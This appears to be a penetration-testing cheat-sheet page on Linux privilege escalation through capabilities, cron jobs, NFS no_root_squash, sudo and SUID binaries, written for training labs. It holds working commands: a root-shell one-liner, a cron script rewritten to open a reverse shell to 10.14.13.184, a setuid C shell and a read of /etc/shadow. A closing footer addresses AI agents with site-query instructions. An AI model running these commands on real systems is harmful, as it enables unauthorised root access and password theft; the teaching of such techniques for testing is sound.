# Linux Privilege Escalation Techniques

## Automated Tools

* **LinPeas**: <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS>
* **LinEnum:** <https://github.com/rebootuser/LinEnum>
* **LES (Linux Exploit Suggester):** <https://github.com/mzet-/linux-exploit-suggester>
* **Linux Smart Enumeration:** <https://github.com/diego-treitos/linux-smart-enumeration>
* **Linux Priv Checker:** <https://github.com/linted/linuxprivchecker>

## Capabilities

Capabilities are somewhat like SUID but more granular. A SUID bit can set a binary to have privileged access to everywhere whereas a binary with a capability set may have privileged access to just one part of the kernel (such as the ability to open raw sockets).

WIth this in mind it may be possible to perform privilege escalation by abusing a capability on a binary.

To view the capabilities on a system run the following command:

```
getcap -r / 2>/dev/null
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F6dZGePjNdGYJLxjpQH1M%2Fimage.png?alt=media\&token=18845f86-54b0-48d6-8ab7-52dcf5c60e25)

Looking at the output of capability set binaries above we can compare these with [<mark style="color:red;">GTFOBins</mark>](https://gtfobins.github.io/#+capabilities) to look for privilege escalation opportunities.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FVIUYiw56oHM6DT1RH5lA%2Fimage.png?alt=media\&token=f7dfe8f7-2240-4572-9b3f-dc538e324daf)

As per the above image from GTFOBins we can attempt to abuse the `CAP_SETUID` capability on the `view` binary to spawn a root shell.

```bash
/home/ubuntu/view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

## Cron Jobs

Cron jobs are tasks which can execute scripts on the system at predetermined times (similar to Windows Task Scheduler).

Under particular circumstances it may be possible to abuse these for privilege escalation. Any user can read the file keeping system-wide Cron jobs under `/etc/cron`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FrYvc8LU4fMkWKm9EuzJZ%2Fimage.png?alt=media\&token=169fb538-ffca-4a67-b88e-bc168219dbaa)

At the bottom of the image we can see where cron jobs owned by root are executing scripts every minute (represented by a wildcard).

The abuse function for Cron jobs exist where the jobs are executed in the context of the owner or in the case of above, root. If we can modify or replace a script that is called by a Cron job, privilege escalation will be possible.

It is also important to mention the PATH that is defined in `/etc/cron`. For any scripts called by Cron that are not fully defined i.e, in the above example `antivirus.sh` is not a fully defined path, if we was to place a reverse shell file called antivirus.sh anywhere in the defined path `PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin` (Providing we have permission to any of the path) this would then be executed by Cron (as root).

Taking another example form the output the following line is of interest.

```
* * * * *  root /home/karen/backup.sh
```

This job is owned by root and points to a file in the current users home directory. Being as this is in the current users home directory the user has full permission over the file. The file can be overwritten and then when executed will run with our own code as the root user.

```
# clear the contents of the current backup.sh file
echo  > backup.sh

# echo in reverse shell code
echo "#!/bin/bash" > backup.sh
echo "sh -i >& /dev/tcp/10.14.13.184/80 0>&1" >> backup.sh
```

Wait for the job to run and a reverse shell should be caught as root.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FCIt1G20PA1Gv9U6YDFJv%2Fimage.png?alt=media\&token=5fffcc5d-f941-4f64-aef7-047378b47487)

## Kernel Exploits

The kernel on an operating system works at a low and facilitates communication and between the hardware and applications. As the kernel requires privileged permissions to function correctly a kernel exploit can often lead to an escalation of privileges.

Generally the process of kernel exploitation from an adversary perspective involves performing enumeration on the target system and depending on the version of the kernel running on the target system, perform an exploit if one is available.

Tools such as [<mark style="color:red;">Linux Exploit Suggester</mark>](https://github.com/mzet-/linux-exploit-suggester) can be used to help identify if the current OS and kernel are vulnerable to any known exploits.

## NFS

By default, NFS shares change the root user to the `nfsnobody` user, an unprivileged user account. In this way, all root-created files are owned by `nfsnobody`, which prevents uploading of programs with the setuid bit set. If `no_root_squash` is used, remote root users are able to change any file on the shared file system and leave trojaned applications for other users to inadvertently execute. [<mark style="color:red;">\[Source\]</mark>](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/4/html/security_guide/s2-server-nfs-noroot)

{% hint style="info" %}
This attack method requires the adversary to already have shell access on the target system.
{% endhint %}

Given the above information we can check from the target system what NFS shares have `no_root_squash` enabled by reading `/etc/exports`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FPPJFEVHBcsxDv9Y01Gqy%2Fimage.png?alt=media\&token=99870f4e-4e3c-41a0-a211-79a2e25cc68c)

From above we can see that available NFS shares from within the target system. All shares have `no_root_squash` enabled. We will be using the `/tmp` share as the example going forward.

From the adversary's perspective the NFS shares have been enumerated with `Nmap` and the attacker has discovered the shares are mountable.

```bash
nmap --script nfs-ls,nfs-statfs <IP>
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fo4qiVnmVfa3FMu8P2aMZ%2Fimage.png?alt=media\&token=794a29bb-6cc3-476d-9a4d-592d867a8042)

On the adversary's attacking system a directory is created from where the target systems `/tmp` directory can be mounted

```bash
mkdir /tmp/1
sudo mount -o rw <IP>:/tmp /tmp/1 
```

From the attackers machine we can see the contents of the target system `/tmp` directory.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Frwd8CKXmmTTRYGhSVsjR%2Fimage.png?alt=media\&token=5ca1b0ae-e56c-4ae5-86bd-d3afb5a99dbc)

Next, a simple C application is created which will spawn a bash shell.

```
int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
 }
```

{% hint style="info" %}
Other C payloads can be found here: [<mark style="color:red;">BookHackTricks</mark>](https://book.hacktricks.xyz/linux-unix/privilege-escalation/payloads-to-execute#c)<mark style="color:red;">.</mark>
{% endhint %}

The C code can then be compiled locally on the attackers system.

```
gcc -w shell.c -o shell
```

Then the SUID bit can be set on the shell file.

```
sudo chmod +s shell
```

Now compiled and the SUID bit set we should now see the shell file from the perspective of the target systems `/tmp` directory.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FNdqsexZAq2GT2mXikZ3O%2Fimage.png?alt=media\&token=15aca746-bc6f-45cb-ae51-46e400be2ff1)

Then, executing the shell file locally on the target system should obtain a root shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FsKJFvihhvXJx8xyJ02CW%2Fimage.png?alt=media\&token=61b583ce-5ef0-4018-898d-cc883f22c011)

## Sudo

Circumstances can exists where select users are given sudo rights to particular binaries instead of sudo rights for an entire system. In this way it may be possible to abuse the `sudo` function for a binary to spawn a root shell.

GTFOBins is the prime resource for finding the appropriate methods for the binaries.

**GTFOBins:** [https://gtfobins.github.io/](https://gtfobins.github.io)

```
$ sudo -l

User karen may run the following commands on ip-10-10-21-57:
    (ALL) NOPASSWD: /usr/bin/find
$
```

The above code block represents the result of checking `sudo` permissions for the current user with `sudo -l`. As shown in the code block the user karen is able to run the find binary as any user `(ALL)` without specifying a password `(NOPASSWD).`

From the following [<mark style="color:red;">link</mark>](https://gtfobins.github.io/gtfobins/find/) we can see that find can be used to spawn a root shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FfNnmt0HZ6rKua4UGkF4v%2FGTFOBins-find.png?alt=media\&token=a0ddda5b-fb51-408b-84fb-3ced3910f69b)

Execution shown below

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FBJMqaa2ofZaJe40oxHPw%2Ffind%20PE.png?alt=media\&token=a8a59d74-0b3c-488e-9060-66a16bc3b56b)

***

## **SUID**

The SUID bit can be used to execute file and binaries in the context of the file owner. For example, a binary owned by root which has the SUID bit set would indicate another user is able to execute the binary in the context of root (the file owner).

The command below can be used to find binaries and files with the SUID bit set.

```
find / -type f -perm -04000 -ls 2>/dev/null
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FUV9warcqsnooG0E83piJ%2FSUID.png?alt=media\&token=11aea80a-db05-4552-a531-89c182457fee)

As we can see the from the image above the SUID bit is set on `/usr/bin/base64`. Referring to the GTFOBins link below we can see this can be used for privilege escalation on the base64 binary.

* **GTFOBins SUID:** <https://gtfobins.github.io/#+suid>

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F2I8XfKWTCmrDbKJSLZ2n%2FBase64%20SUID.png?alt=media\&token=f1fb480c-f9b9-474f-a5f8-27950e977434)

As with the example above this can be used to read the shadow file (owned by root) where hashes can then be extracted for password cracking (as an example).

```
/usr/bin/base64 /etc/shadow | base64 --decode
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FPaYAB9DbPuT9H0iXpjaZ%2FBase64%20-%20Shadow%20Read.png?alt=media\&token=5dfdccdb-f608-4628-a735-27e037bd1500)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/everything/everything-linux/linux-privilege-escalation-techniques.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.